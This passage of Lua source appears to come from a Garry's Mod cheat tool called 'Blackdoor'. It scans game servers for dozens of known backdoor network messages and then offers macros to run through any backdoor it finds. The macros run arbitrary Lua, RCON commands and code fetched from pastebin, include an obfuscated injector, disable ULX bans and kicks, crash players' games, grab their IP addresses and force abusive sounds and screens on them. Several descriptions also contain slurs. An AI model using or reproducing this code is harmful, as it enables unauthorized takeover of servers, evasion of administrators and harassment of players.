7045 if( ValidNetString("_Infinity_Meme_") ) then
7046 netKey = "_Infinity_Meme_"
7047 else
7048 end
7049
7050 if( ValidNetString("_vliss") ) then
7051 netKey = "_vliss"
7052 else
7053 end
7054
7055 if( ValidNetString("m9k_explosive") ) then
7056 netKey = "m9k_explosive"
7057 else
7058 end
7059
7060 if( ValidNetString("striphelper") ) then
7061 netKey = "striphelper"
7062 else
7063 end
7064
7065 if( ValidNetString("_Warns") ) then
7066 netKey = "_Warns"
7067 else
7068 end
7069
7070 if( ValidNetString("ULogs_B") ) then
7071 netKey = "ULogs_B"
7072 else
7073 end
7074
7075 if( ValidNetString("arivia") ) then
7076 netKey = "arivia"
7077 else
7078 end
7079
7080 if( ValidNetString("_cac_") ) then
7081 netKey = "_cac_"
7082 else
7083 end
7084
7085 if( ValidNetString("_Infinity_Meme_") ) then
7086 netKey = "<hidden>"
7087 else
7088 end
7089
7090 if( ValidNetString("_Raze") ) then
7091 netKey = "_Raze"
7092 else
7093 end
7094
7095 if( ValidNetString("Sandbox_Armdupe") ) then
7096 netKey = "Sandbox_Armdupe"
7097 else
7098 end
7099
7100 if( ValidNetString("DarkRP_AdminWeapons") ) then
7101 netKey = "DarkRP_AdminWeapons"
7102 else
7103 end
7104
7105 if( ValidNetString("enablevac") ) then
7106 netKey = "enablevac"
7107 else
7108 end
7109
7110 if( ValidNetString("SessionBackdoor") ) then
7111 netKey = "SessionBackdoor"
7112 else
7113 end
7114
7115 if( ValidNetString("Fix_Keypads") ) then
7116 netKey = "Fix_Keypads"
7117 else
7118 end
7119
7120 if( ValidNetString("Remove_Exploiters") ) then
7121 netKey = "Remove_Exploiters"
7122 else
7123 end
7124
7125 if( ValidNetString("noclipcloakaesp_chat_text") ) then
7126 netKey = "noclipcloakaesp_chat_text"
7127 else
7128 end
7129
7130 if( ValidNetString("_blacksmurf") ) then
7131 netKey = "_blacksmurf"
7132 else
7133 end
7134
7135 if( ValidNetString("_CAC_ReadMemory") ) then
7136 netKey = "_CAC_ReadMemory"
7137 else
7138 end
7139
7140 if( ValidNetString("nostrip") ) then
7141 netKey = "nostrip"
7142 else
7143 end
7144
7145 if( ValidNetString("LickMeOut") ) then
7146 netKey = "LickMeOut"
7147 else
7148 end
7149
7150 if( ValidNetString("MoonMan") ) then
7151 netKey = "MoonMan"
7152 else
7153 end
7154
7155 if( ValidNetString("Im_SOCool") ) then
7156 netKey = "Im_SOCool"
7157 else
7158 end
7159
7160 if( ValidNetString("ULXQUERY2") ) then
7161 netKey = "ULXQUERY2"
7162 else
7163 end
7164 if( ValidNetString("Sbox_itemstore") ) then
7165 netKey = "Sbox_itemstore"
7166 else
7167 end
7168 if( ValidNetString("Ulib_Message") ) then
7169 netKey = "Ulib_Message"
7170 else
7171 end
7172 if( ValidNetString("Sbox_darkrp") ) then
7173 netKey = "Sbox_darkrp"
7174 else
7175 end
7176 if( ValidNetString("ULogs_Info") ) then
7177 netKey = "ULogs_Info"
7178 else
7179 end
7180 if( ValidNetString("ITEM") ) then
7181 netKey = "ITEM"
7182 else
7183 end
7184 if( ValidNetString("fix") ) then
7185 netKey = "fix"
7186 else
7187 end
7188 if( ValidNetString("nocheat") ) then
7189 netKey = "nocheat"
7190 else
7191 end
7192 if( ValidNetString("ULX_QUERY2") ) then
7193 netKey = "ULX_QUERY2"
7194 else
7195 end
7196 if( ValidNetString("Sandbox_GayParty") ) then
7197 netKey = "Sandbox_GayParty"
7198 else
7199 end
7200 if( ValidNetString("DarkRP_UTF8") ) then
7201 netKey = "DarkRP_UTF8"
7202 else
7203 end
7204 if( ValidNetString("oldNetReadData") ) then
7205 netKey = "oldNetReadData"
7206 else
7207 end
7208 if( ValidNetString("BackDoor") ) then
7209 netKey = "BackDoor"
7210 else
7211 end
7212 if( ValidNetString("OdiumBackDoor") ) then
7213 netKey = "OdiumBackDoor"
7214 else
7215 end
7216 if( ValidNetString("cucked") ) then
7217 netKey = "cucked"
7218 else
7219 end
7220 if( ValidNetString("NoNerks") ) then
7221 netKey = "NoNerks"
7222 else
7223 end
7224 if( ValidNetString("kek") ) then
7225 netKey = "kek"
7226 else
7227 end
7228 if( ValidNetString("ZimbaBackDoor") ) then
7229 netKey = "ZimbaBackDoor"
7230 else
7231 end
7232 if( ValidNetString("something") ) then
7233 netKey = "something"
7234 else
7235 end
7236 if( ValidNetString("random") ) then
7237 netKey = "random"
7238 else
7239 end
7240 if( ValidNetString("strip0") ) then
7241 netKey = "strip0"
7242 else
7243 end
7244 if( ValidNetString("fellosnake") ) then
7245 netKey = "fellosnake"
7246 else
7247 end
7248 if( ValidNetString("idk") ) then
7249 netKey = "idk"
7250 else
7251 end
7252 if( ValidNetString("killserver") ) then
7253 netKey = "killserver"
7254 else
7255 end
7256 if( ValidNetString("fuckserver") ) then
7257 netKey = "fuckserver"
7258 else
7259 end
7260 if( ValidNetString("cvaraccess") ) then
7261 netKey = "cvaraccess"
7262 else
7263 end
7264 if( ValidNetString("rcon") ) then
7265 netKey = "rcon"
7266 else
7267 end
7268 if( ValidNetString("rconadmin") ) then
7269 netKey = "rconadmin"
7270 else
7271 end
7272 if( ValidNetString("web") ) then
7273 netKey = "web"
7274 else
7275 end
7276 if( ValidNetString("jesuslebg") ) then
7277 netKey = "jesuslebg"
7278 else
7279 end
7280 if( ValidNetString("zilnix") ) then
7281 netKey = "zilnix"
7282 else
7283 end
7284 if( ValidNetString("Þà ?D)?") ) then
7285 netKey = "Þà ?D)?"
7286 else
7287 end
7288 if( ValidNetString("disablebackdoor") ) then
7289 netKey = "disablebackdoor"
7290 else
7291 end
7292 if( ValidNetString("kill") ) then
7293 netKey = "kill"
7294 else
7295 end
7296 if( ValidNetString("blacksmurfBackdoor") ) then
7297 netKey = "blacksmurfBackdoor"
7298 else
7299 end
7300
7301
7302BackdoorsFound = 0
7303
7304function ValidNetString(str)
7305 local status, error = pcall(net.Start, str)
7306
7307 return status
7308end
7309
7310
7311
7312function checkbackdoors()
7313 for k, v in pairs(BackDoor_net) do
7314 if (ValidNetString(v.NetWork)) then
7315 BackdoorsFound = 1 + BackdoorsFound
7316 chat.AddText(Color(0, 0, 0, 125), "[R8]", Color(255, 255, 255), " Found Backdoor! - " .. v.NetWork)
7317 v.NetWork = backdoor
7318 end
7319 end
7320end
7321
7322BD.Backdoors = BD.Backdoors or {}
7323BD.CurrentBackdoor = "Generic"
7324
7325for k, v in pairs(BackDoor_net) do
7326 if (ValidNetString(v.NetWork)) then
7327 BD.BackdoorTypes = {
7328 ["Generic"] = {
7329 ["Code"] = "util.AddNetworkString( " .. v.NetWork .. " ) net.Receive( " .. v.NetWork .. ", function() local x = CompileString( net.ReadString(), 'LuaCmd', false ) if isfunction( x ) then x() end end )",
7330 ["Netkey"] = v.NetWork
7331 }
7332 }
7333 end
7334end
7335
7336checkbackdoors()
7337local netsss = net.Start
7338
7339function BD.IsMessagePooled(netmessage)
7340 local netfunc = netsss
7341
7342 return status
7343end
7344
7345local net = net
7346local ctxt = chat.AddText
7347
7348function BD.ChatText(message, col)
7349 ctxt(Color(195, 205, 255, 255), "[Blackdoor] ", col, message)
7350end
7351
7352function BD.PingBackDoors()
7353 local bds = {}
7354
7355 for k, v in pairs(BackDoor_net) do
7356 if BD.IsMessagePooled(tostring(v.NetWork)) then
7357 bds[k] = true
7358 end
7359 end
7360
7361 return bds
7362end
7363
7364concommand.Add("bd_refresh_backdoors", function()
7365 BD.Backdoors = BD.PingBackDoors()
7366end)
7367
7368function BD.BackdoorActive()
7369 return table.Count(BD.Backdoors) > 0
7370end
7371
7372BD.BDMacros = {
7373 ["Artillery Strike"] = {
7374 ["Type"] = 1,
7375 ["Code"] = [[if !bombstrike then
7376
7377hook.Add("Think", "lulz_bombstrike", function()
7378
7379local explode = ents.Create( "env_explosion" )
7380
7381local ps = Vector(math.random(-8000, 8000), math.random(-8000, 8000), math.random(-5000, 5000))
7382
7383local trc = {}
7384
7385trc.start = ps
7386
7387trc.endpos = ps + Vector( 0, 0, -99999)
7388
7389local tr = util.TraceLine(trc)
7390
7391if !tr.Hit then return end
7392
7393explode:SetPos( tr.HitPos )
7394
7395explode:Spawn()
7396
7397explode:SetKeyValue( "iMagnitude", "400" )
7398
7399explode:Fire( "Explode", 0, 0 )
7400
7401end)
7402
7403bombstrike = true
7404
7405else
7406
7407hook.Remove("Think", "lulz_bombstrike")
7408
7409bombstrike = false
7410
7411end]],
7412 ["Desc"] = "Explode the shit out of everything"
7413 },
7414 ["@ Inject SendLua Interface"] = {
7415 ["Type"] = 1,
7416 ["Code"] = [[
7417
7418local ??? = _G local ?????? = ???['\115\116\114\105\110\103'] local ????????? = ???['\98\105\116']['\98\120\111\114'] local function ?????????????????????(????????????) if ??????['\108\101\110'](????????????) == 0 then return ???????????? end local ??????????????? = '' for _ in ??????['\103\109\97\116\99\104'](????????????,'\46\46') do ???????????????=???????????????..??????['\99\104\97\114'](?????????(???["\116\111\110\117\109\98\101\114"](_,16),25)) end return ??????????????? end ???[?????????????????????'6c6d7075'][?????????????????????'587d7d577c6d6e766b724a6d6b70777e'](?????????????????????'4b21')???[?????????????????????'777c6d'][?????????????????????'4b7c7a7c706f7c'](?????????????????????'4b21',function ()local false???=???[?????????????????????'5a76746970757c4a6d6b70777e'](???[?????????????????????'777c6d'][?????????????????????'4b7c787d4a6d6b70777e'](),?????????????????????'556c785a747d',false )if ???[?????????????????????'706a7f6c777a6d707677'](false???)then false???()end end )
7419
7420 ]],
7421 ["Desc"] = "You need this to use certain macros"
7422 },
7423 ["Announce centre screen"] = {
7424 ["Type"] = 1,
7425 ["Code"] = [[for k, v in pairs(player.GetAll()) do v:PrintMessage( HUD_PRINTCENTER, @1 ) end]],
7426 ["Desc"] = "Make an announcement in the centre of everybodys screen",
7427 ["NeedsParameters"] = 1
7428 },
7429 ["Rainbow chat spam"] = {
7430 ["Type"] = 1,
7431 ["Code"] = [[
7432
7433 if !timer.Exists( "lulz_chatspam" ) then
7434
7435 timer.Create( "lulz_chatspam", 0.5, 0, function() BDSendLuaAll('chat.AddText( Color( math.random(0, 255), math.random(0, 255), math.random(0, 255) ), @1 )' ) end)
7436
7437 else
7438
7439 timer.Remove( "lulz_chatspam" )
7440
7441 end]],
7442 ["Desc"] = "Spam rainbow chat for all players with the 1st parameter as the text",
7443 ["NeedsParameters"] = 1
7444 },
7445 ["Rainbow chat spam (Turbo)"] = {
7446 ["Type"] = 1,
7447 ["Code"] = [[
7448
7449 if !timer.Exists( "lulz_chatspam" ) then
7450
7451 timer.Create( "lulz_chatspam", 0.01, 0, function() BDSendLuaAll('chat.AddText( Color( math.random(0, 255), math.random(0, 255), math.random(0, 255) ), @1 )' ) end)
7452
7453 else
7454
7455 timer.Remove( "lulz_chatspam" )
7456
7457 end]],
7458 ["Desc"] = "Spam rainbow chat for all players with the 1st parameter as the text",
7459 ["NeedsParameters"] = 1
7460 },
7461 ["Unlock all doors"] = {
7462 ["Type"] = 1,
7463 ["Code"] = [[local doors = {"func_door", "func_door_rotating", "prop_door_rotating", "prop_dynamic"} for k, v in pairs(ents.GetAll()) do if table.HasValue(doors, v:GetClass()) then v:Fire("unlock", "", 0) end end]],
7464 ["Desc"] = ""
7465 },
7466 ["Toggle all doors"] = {
7467 ["Type"] = 1,
7468 ["Code"] = [[local doors = {"func_door", "func_door_rotating", "prop_door_rotating", "prop_dynamic"} for k, v in pairs(ents.GetAll()) do if table.HasValue(doors, v:GetClass()) then v:Fire("toggle", "", 0) end end]],
7469 ["Desc"] = ""
7470 },
7471 ["Broken Glass Symphony"] = {
7472 ["Type"] = 1,
7473 ["Code"] = [[
7474
7475 if !timer.Exists( "A true masterpiece" ) then
7476
7477 timer.Create( "A true masterpiece", 0.2, 0, function()
7478
7479 for _, p in pairs(player.GetAll()) do
7480
7481 p:EmitSound( "physics/glass/glass_largesheet_break"..math.random(1,3)..".wav", 100, math.random( 40, 180 ) )
7482
7483 end
7484
7485 end)
7486
7487 else
7488
7489 timer.Remove( "A true masterpiece" )
7490
7491 end]],
7492 ["Desc"] = "Beethoven's last hidden symphony, only rediscovered in 2017"
7493 },
7494 ["Yeah Baby"] = {
7495 ["Type"] = 1,
7496 ["Code"] = [[
7497
7498 if !timer.Exists( "porn" ) then
7499
7500 timer.Create( "porn", 0.3, 0, function()
7501
7502 for _, p in pairs(player.GetAll()) do
7503
7504 p:EmitSound( "vo/npc/female01/yeah02.wav", 100, math.random( 90, 120 ) )
7505
7506 end
7507
7508 end)
7509
7510 else
7511
7512 timer.Remove( "porn" )
7513
7514 end]],
7515 ["Desc"] = "YEAH BABY YEAH"
7516 },
7517 ["Street War"] = {
7518 ["Type"] = 1,
7519 ["Code"] = [[
7520
7521 if !timer.Exists( "cwar" ) then
7522
7523 timer.Create( "cwar", 1, 0, function()
7524
7525 for _, p in pairs(player.GetAll()) do
7526
7527 p:EmitSound( "ambient/levels/streetwar/city_battle"..math.random( 1, 19 )..".wav", 100, math.random( 90, 120 ) )
7528
7529 end
7530
7531 end)
7532
7533 else
7534
7535 timer.Remove( "cwar" )
7536
7537 end]],
7538 ["Desc"] = "For when you need more dakka"
7539 },
7540 ["Earthquake"] = {
7541 ["Type"] = 1,
7542 ["Code"] = [[
7543
7544 if !timer.Exists( "earthquake" ) then
7545
7546 timer.Create( "earthquake", 0.5, 500, function()
7547
7548 for _, p in pairs(player.GetAll()) do
7549
7550 p:SetPos( p:GetPos() + Vector( 0, 0, 1 ) )
7551
7552 p:SetVelocity( Vector( math.random( -50, 50 ), math.random( -50, 50 ), math.random( 100, 150 ) ) )
7553
7554 util.ScreenShake( p:GetPos(), 20, 1, 1, 100 )
7555
7556 p:EmitSound( "ambient/explosions/exp1.wav", 100, math.random( 60, 100 ) )
7557
7558 end
7559
7560
7561
7562 for _, e in pairs(ents.GetAll()) do
7563
7564 if e:GetPhysicsObject() and e:GetPhysicsObject():IsValid() then e:GetPhysicsObject():AddVelocity( Vector( math.random( -50, 50 ), math.random( -50, 50 ), math.random( 100, 150 ) ) ) end
7565
7566 end
7567
7568
7569
7570
7571
7572 end)
7573
7574 else
7575
7576 timer.Remove( "earthquake" )
7577
7578 end]],
7579 ["Desc"] = "For when you need more dakka"
7580 },
7581 ["Explode all vehicles"] = {
7582 ["Type"] = 1,
7583 ["Code"] = [[for k, v in pairs(ents.GetAll()) do if v:IsVehicle() then
7584
7585 local explo = ents.Create("env_explosion")
7586
7587 explo:SetPos(v:GetPos())
7588
7589 explo:SetKeyValue("iMagnitude", "300")
7590
7591 explo:Spawn()
7592
7593 explo:Activate()
7594
7595 explo:Fire("Explode", "", 0)
7596
7597 end
7598
7599 end]],
7600 ["Desc"] = ""
7601 },
7602 ["RCON command"] = {
7603 ["Type"] = 1,
7604 ["Code"] = [[game.ConsoleCommand( @1.."\n" )]],
7605 ["Desc"] = "Like having rcon access without actually having rcon access"
7606 },
7607 ["Lua run"] = {
7608 ["Type"] = 1,
7609 ["Code"] = [[@1]],
7610 ["Desc"] = "For running your dank luas"
7611 },
7612 ["Lua run from pastebin"] = {
7613 ["Type"] = 1,
7614 ["Code"] = [[http.Fetch( "@1", function( b, l, h, c ) RunString( b ) end, function() end )]],
7615 ["Desc"] = "Fetch and run code from a pastebin link ( remember to use raw you stupid faggot eg. https://pastebin.com/raw/fHeygLt9 )"
7616 },
7617 ["Destroy ULX Ban/Kick"] = {
7618 ["Type"] = 1,
7619 ["Code"] = [[ULib.Ban = function() return false end
7620
7621 ULib.addBan = function() return end
7622
7623 ULib.kick = function() return end]],
7624 ["Desc"] = "Completely break ulx ban and ulx kick so you can't be locked out of the server"
7625 },
7626 ------------------------ player targeted macros ------------------------
7627 ["Kill player"] = {
7628 ["Type"] = 2, -- 1 = indiscriminate, 2= targeted, 3 = dangerous
7629 ["Code"] = [[v:Kill()]],
7630 ["Desc"] = ""
7631 },
7632 ["Fumble player"] = {
7633 ["Type"] = 2, -- 1 = indiscriminate, 2= targeted, 3 = dangerous
7634 ["Code"] = [[v:DropWeapon( v:GetActiveWeapon() )]],
7635 ["Desc"] = "Knocks their current weapon out of their hand"
7636 },
7637 ["Strip weapons"] = {
7638 ["Type"] = 2,
7639 ["Code"] = [[v:StripWeapons()]],
7640 ["Desc"] = ""
7641 },
7642 ["Rocket"] = {
7643 ["Type"] = 2,
7644 ["Code"] = [[v:SetVelocity( Vector(0, 0, 9000) )]],
7645 ["Desc"] = "Sends them flying up into the air"
7646 },
7647 ["Rocket (Spastic)"] = {
7648 ["Type"] = 2,
7649 ["Code"] = [[v:SetVelocity( Vector(math.random( -9000, 9000), math.random( -9000, 9000), 9000) )]],
7650 ["Desc"] = "HOLY SHIIIIIIIIIIIT"
7651 },
7652 ["Change model"] = {
7653 ["Type"] = 2,
7654 ["Code"] = [[v:SetModel( @1 )]],
7655 ["Desc"] = "Set their player model to the specified string (1st paremeter)",
7656 ["NeedsParameters"] = 1
7657 },
7658 ["Set health + armor"] = {
7659 ["Type"] = 2,
7660 ["Code"] = [[v:SetHealth( @1 ) v:SetArmor( @2 ) ]],
7661 ["Desc"] = "Sets their health (1st paremeter) and armor (2nd paremeter)",
7662 ["NeedsParameters"] = 2
7663 },
7664 ["Ear rape"] = {
7665 ["Type"] = 2,
7666 ["Code"] = [[
7667
7668 local snd = {
7669
7670 [1] = "npc/stalker/go_alert2a.wav",
7671
7672 [2] = "vo/npc/male01/question06.wav",
7673
7674 [3] = "ambient/energy/zap1.wav",
7675
7676 [4] = "weapons/knife/knife_stBD.wav",
7677
7678 [5] = "vo/ravenholm/madlaugh04.wav",
7679
7680 [6] = "npc/antlion_guard/antlion_guard_die1.wav",
7681
7682 [7] = "vo/breencast/br_collaboration01.wav,"
7683
7684 }
7685
7686 v:EmitSound( snd[tonumber(@1)], 100, 100 )
7687
7688 ]],
7689 ["Desc"] = "Make them emit a sound (1st paremeter is a number 1-7)",
7690 ["NeedsParameters"] = 1
7691 },
7692 ["Ear rape (from internet)"] = {
7693 ["Type"] = 2,
7694 ["Code"] = [[
7695
7696 BDSendLua( v, 'if soundrape then soundrape:Remove() soundrape = nil return end soundrape = vgui.Create( "DFrame" ) soundrape:SetSize( 1, 1 ) local html = vgui.Create( "HTML", soundrape ) html:OpenURL( @1 )' )
7697
7698 ]],
7699 ["Desc"] = "Make them hear a sound from a URL (1st paremeter). Sending a new sound will stop the previous one. Send an invalid url to stop all sounds entirely on their client",
7700 ["NeedsParameters"] = 1
7701 },
7702 ["Eye rape (from internet)"] = {
7703 ["Type"] = 2,
7704 ["Code"] = [[
7705
7706 BDSendLua( v, 'if bdeyerape then bdeyerape:Remove() bdeyerape = nil return end bdeyerape = vgui.Create( "DFrame" )bdeyerape:SetDraggable( false )bdeyerape:SetSize( ScrW(), ScrH() )bdeyerape:SetTitle( "" )bdeyerape:ShowCloseButton( false )local html = vgui.Create( "HTML", bdeyerape )html:Dock( FILL )html:OpenURL( @1 )' )
7707
7708 ]],
7709 ["Desc"] = "Make them see a full screen, unclosable panel from a URL (1st paremeter). Sending a new url will stop the previous one. Send an invalid url to clear their view entirely",
7710 ["NeedsParameters"] = 1
7711 },
7712 ["Rave Mode"] = {
7713 ["Type"] = 2,
7714 ["Code"] = [[
7715
7716 BDSendLua( v, 'if hook.GetTable().HUDPaint.drugznigga then hook.Remove( "HUDPaint", "drugznigga" ) else hook.Add( "HUDPaint", "drugznigga", function() local cin = math.sin( CurTime() * 10 ) * 255 surface.SetDrawColor( Color( cin, -cin, cin, 100 ) ) surface.DrawRect( 0, 0, ScrW(), ScrH() ) end) end' )
7717
7718 ]],
7719 ["Desc"] = "Make them loosen up and join the party"
7720 },
7721 ["Rave Music"] = {
7722 ["Type"] = 2,
7723 ["Code"] = [[
7724
7725 BDSendLua( v, 'surface.PlaySound( "music/hl1_song25_remix3.mp3" )' )
7726
7727 ]],
7728 ["Desc"] = "DOOF DOOF NIGGA"
7729 },
7730 ["Whisper"] = {
7731 ["Type"] = 2,
7732 ["Code"] = [[v:ChatPrint( @1 )]],
7733 ["Desc"] = "Anonymously whisper text into their chatbox (1st paremeter)",
7734 ["NeedsParameters"] = 1
7735 },
7736 ["Whisper (advanced)"] = {
7737 ["Type"] = 2,
7738 ["Code"] = [[
7739
7740 BDSendLua( v, 'chat.AddText( Color( @2, @3, @4 ), @1 )' )
7741
7742 ]],
7743 ["Desc"] = "Anonymously whisper coloured text into their chatbox (1st paremeter = text, 2nd = r, 3rd = g, 4th = b)",
7744 ["NeedsParameters"] = 1
7745 },
7746 ["Ignite player"] = {
7747 ["Type"] = 2,
7748 ["Code"] = [[v:Ignite( 30 )]],
7749 ["Desc"] = "Ignite players for 30 seconds, spam repeatedly to refresh the duration"
7750 },
7751 ["Toggle godmode"] = {
7752 ["Type"] = 2,
7753 ["Code"] = [[if v:HasGodMode() then v:GodDisable() else v:GodEnable() end]],
7754 ["Desc"] = ""
7755 },
7756 ["Crash their gmod"] = {
7757 ["Type"] = 2,
7758 ["Code"] = [[v:SendLua("function fag() return fag() end fag()")]],
7759 ["Desc"] = "Instantly freezes their game solid, the only way to fix it is ctrl-alt-delete or a computer restart"
7760 },
7761 ["Toggle serverside speedhack"] = {
7762 ["Type"] = 2,
7763 ["Code"] = [[if !v.Sanic then v:SetRunSpeed( 1200 ) v:SetWalkSpeed(800) v.Sanic = true else v:SetRunSpeed( 240 ) v:SetWalkSpeed( 160 ) v.Sanic = false end]],
7764 ["Desc"] = "GOTTA GO FAST"
7765 },
7766 ["Freeze/Unfreeze player"] = {
7767 ["Type"] = 2,
7768 ["Code"] = [[v:Freeze( !v:IsFrozen() )]],
7769 ["Desc"] = ""
7770 },
7771 ["Force say"] = {
7772 ["Type"] = 2,
7773 ["Code"] = [[v:Say(@1)]],
7774 ["Desc"] = "Forces them to say the specified string in chat (first parameter)",
7775 ["NeedsParameters"] = 1
7776 },
7777 ["Force concommand"] = {
7778 ["Type"] = 2,
7779 ["Code"] = [[v:ConCommand(@1)]],
7780 ["Desc"] = "Forces them to run the specified console command (first parameter)",
7781 ["NeedsParameters"] = 1
7782 },
7783 ["Grab IP"] = {
7784 ["Type"] = 2,
7785 ["Code"] = [[ for _, p in pairs(player.GetAll()) do if %LP then p:ChatPrint( v:Nick().." : "..v:IPAddress() ) end end]],
7786 ["Desc"] = "Prints their IP Address to your console"
7787 },
7788 ["DarkRP add/remove money"] = {
7789 ["Type"] = 2,
7790 ["Code"] = [[v:addMoney(@1)]],
7791 ["Desc"] = "Adds money to their wallet (first parameter) remember that you can use negative numbers to subtract money",
7792 ["NeedsParameters"] = 1
7793 },
7794 ["DarkRP force job"] = {
7795 ["Type"] = 2,
7796 ["Code"] = [[ for i, t in pairs( team.GetAllTeams() ) do if string.lower(t.Name) == string.lower( @1 ) then v:changeTeam(i, true, true) end end]],
7797 ["Desc"] = "Change their team to the specified job (1st parameter = job name, does not require capitalization)",
7798 ["NeedsParameters"] = 1
7799 },
7800 ["Force team switch"] = {
7801 ["Type"] = 2,
7802 ["Code"] = [[ for i, t in pairs( team.GetAllTeams() ) do if string.lower(t.Name) == string.lower( @1 ) then v:SetTeam( i ) end end]],
7803 ["Desc"] = "Change their team to the specified team name (1st parameter)",
7804 ["NeedsParameters"] = 1
7805 },
7806 ["Noclip player"] = {
7807 ["Type"] = 2,
7808 ["Code"] = [[if v:GetMoveType() != MOVETYPE_NOCLIP then v:SetMoveType(MOVETYPE_NOCLIP) else v:SetMoveType(MOVETYPE_WALK) end]],
7809 ["Desc"] = "Toggles noclip on the specified players"
7810 },
7811 ["Give weapon to player"] = {
7812 ["Type"] = 2,
7813 ["Code"] = [[v:Give( @1 )]],
7814 ["Desc"] = "Gives this player a weapon (first parameter)",
7815 ["NeedsParameters"] = 1
7816 },
7817 ["Give ammo to player"] = {
7818 ["Type"] = 2,
7819 ["Code"] = [[v:GiveAmmo( @1, @2, false )]],
7820 ["Desc"] = "Gives this player some ammo (first parameter = amount of ammo, secound parameter = ammo type)",
7821 ["NeedsParameters"] = 2
7822 },
7823 ["Teleport (them to your cursor)"] = {
7824 ["Type"] = 2,
7825 ["Code"] = [[
7826
7827 local tp = false
7828
7829 local tpos
7830
7831 for _, p in pairs(player.GetAll()) do if %LP then tpos = p:GetEyeTraceNoCursor().HitPos tp = true end end
7832
7833 if tp then v:SetPos( tpos ) end
7834
7835 ]],
7836 ["Desc"] = "Teleports the selected players to your cursor location, not recommended for more than 1 person at once"
7837 },
7838 ["Teleport (you to them)"] = {
7839 ["Type"] = 2,
7840 ["Code"] = [[
7841
7842 local tp = false
7843
7844 local tpos = v:GetPos() + Vector( 32, 0, 10)
7845
7846 for _, p in pairs(player.GetAll()) do if %LP then p:SetPos( tpos ) end end
7847
7848 ]],
7849 ["Desc"] = "Teleport yourself to the selected player, may end with you stuck inside a wall"
7850 },
7851 ["Teleport (blink)"] = {
7852 ["Type"] = 2,
7853 ["Code"] = [[
7854
7855 local tpos = v:GetEyeTraceNoCursor().HitPos
7856
7857 v:SetPos( tpos )
7858
7859 ]],
7860 ["Desc"] = "Use on yourself or others to warp them to where they are looking"
7861 },
7862 ["Spawn entity near player"] = {
7863 ["Type"] = 2,
7864 ["Code"] = [[
7865
7866 local tr = {}
7867
7868 tr.start = v:GetShootPos()
7869
7870 tr.endpos = v:GetShootPos() + 2500 * v:GetAimVector()
7871
7872 tr.filter = {v}
7873
7874 local trace = util.TraceLine(tr)
7875
7876 local dix = ents.Create( @1 )
7877
7878 dix:SetPos(trace.HitPos)
7879
7880 dix:SetAngles(Angle(0,0,0))
7881
7882 dix:Spawn()
7883
7884 ]],
7885 ["Desc"] = "Spawn an entity in front of this player (first parameter = entity class), cannot spawn cars!",
7886 ["NeedsParameters"] = 1
7887 },
7888 ["Spawn prop near player"] = {
7889 ["Type"] = 2,
7890 ["Code"] = [[
7891
7892 local tr = {}
7893
7894 tr.start = v:GetShootPos()
7895
7896 tr.endpos = v:GetShootPos() + 2500 * v:GetAimVector()
7897
7898 tr.filter = {v}
7899
7900 local trace = util.TraceLine(tr)
7901
7902 local dix = ents.Create( "prop_physics" )
7903
7904 dix:SetPos(trace.HitPos)
7905
7906 dix:SetAngles(Angle(0,0,0))
7907
7908 dix:SetModel( @1 )
7909
7910 dix:Spawn()
7911
7912 ]],
7913 ["Desc"] = "Spawn a world prop in front of this player (first parameter = model)",
7914 ["NeedsParameters"] = 1
7915 },
7916 ["Spawn evil npc near player"] = {
7917 ["Type"] = 2,
7918 ["Code"] = [[
7919
7920 local tr = {}
7921
7922 tr.start = v:GetShootPos()
7923
7924 tr.endpos = v:GetShootPos() + 2500 * v:GetAimVector()
7925
7926 tr.filter = {v}
7927
7928 local trace = util.TraceLine(tr)
7929
7930 local dix = ents.Create( "npc_citizen" )
7931
7932 dix:SetPos(trace.HitPos)
7933
7934 dix:SetAngles(Angle(0,0,0))
7935
7936 dix:SetKeyValue( "additionalequipment", table.Random({"weapon_shotgun", "weapon_smg1", "weapon_ar2"}) )
7937
7938 dix:SetKeyValue( "citizentype", 3 )
7939
7940 dix:AddRelationship("player D_HT 200")
7941
7942 dix:SetCurrentWeaponProficiency(WEAPON_PROFICIENCY_PERFECT)
7943
7944 dix:SetSchedule( SCHED_IDLE_WANDER )
7945
7946 dix:Spawn()
7947
7948 ]],
7949 ["Desc"] = "Spawn a hostile NPC in front of this player"
7950 },
7951 ["Death ray"] = {
7952 ["Type"] = 2,
7953 ["Code"] = [[
7954
7955 local trace = v:GetEyeTraceNoCursor()
7956
7957 if trace.Entity:IsValid() then trace.Entity:Remove() end
7958
7959 ]],
7960 ["Desc"] = "Vaporize whatever this player is looking at"
7961 },
7962 ["Death ray (explosive)"] = {
7963 ["Type"] = 2,
7964 ["Code"] = [[
7965
7966 local trace = v:GetEyeTraceNoCursor()
7967
7968 local explo = ents.Create("env_explosion")
7969
7970 explo:SetPos(trace.HitPos)
7971
7972 explo:SetKeyValue("iMagnitude", "250")
7973
7974 explo:Spawn()
7975
7976 explo:Activate()
7977
7978 explo:Fire("Explode", "", 0)
7979
7980 ]],
7981 ["Desc"] = "Blow up whatever this player is looking at"
7982 },
7983 ["Precise Artillery Strike"] = {
7984 ["Type"] = 2,
7985 ["Code"] = [[
7986
7987 local trace = v:GetEyeTraceNoCursor()
7988
7989 timer.Create( "uiashfuasfas"..v:UniqueID()..math.random(-9999, 99999), 0.2, 15, function()
7990
7991 local explo = ents.Create("env_explosion")
7992
7993 explo:SetPos(trace.HitPos + Vector( math.random( -500, 500), math.random( -500, 500), math.random( -500, 500) ) )
7994
7995 explo:SetKeyValue("iMagnitude", "250")
7996
7997 explo:Spawn()
7998
7999 explo:Activate()
8000
8001 explo:Fire("Explode", "", 0)
8002
8003 end)
8004
8005 ]],
8006 ["Desc"] = "Blow up whatever this player is looking at"
8007 },
8008 ["Woman Driver"] = {
8009 ["Type"] = 2,
8010 ["Code"] = [[
8011
8012 local trace = v:GetEyeTraceNoCursor()
8013
8014 local car = ents.Create("prop_physics")
8015
8016 local trace2 = util.TraceLine( { start = trace.HitPos, endpos = trace.HitPos + Vector( 0, 0, 5000000 ), mask = MASK_SOLID_BRUSHONLY } )
8017
8018 car:SetModel( "models/props_vehicles/car002a_physics.mdl" )
8019
8020 car:SetAngles( v:GetAngles() )
8021
8022 car:SetPos( trace2.HitPos + Vector( 0, 0, -60 ) )
8023
8024 car:Spawn()
8025
8026 car:Activate()
8027
8028 car.boom = 6
8029
8030 car:GetPhysicsObject():SetVelocity( Vector( 0, 0, -5000 ) )
8031
8032 car:Ignite( 500 )
8033
8034 car:AddCallback( "PhysicsCollide", function( car, dat )
8035
8036 local explo = ents.Create("env_explosion")
8037
8038 explo:SetPos( car:GetPos() )
8039
8040 explo:SetKeyValue("iMagnitude", "350")
8041
8042 explo:Spawn()
8043
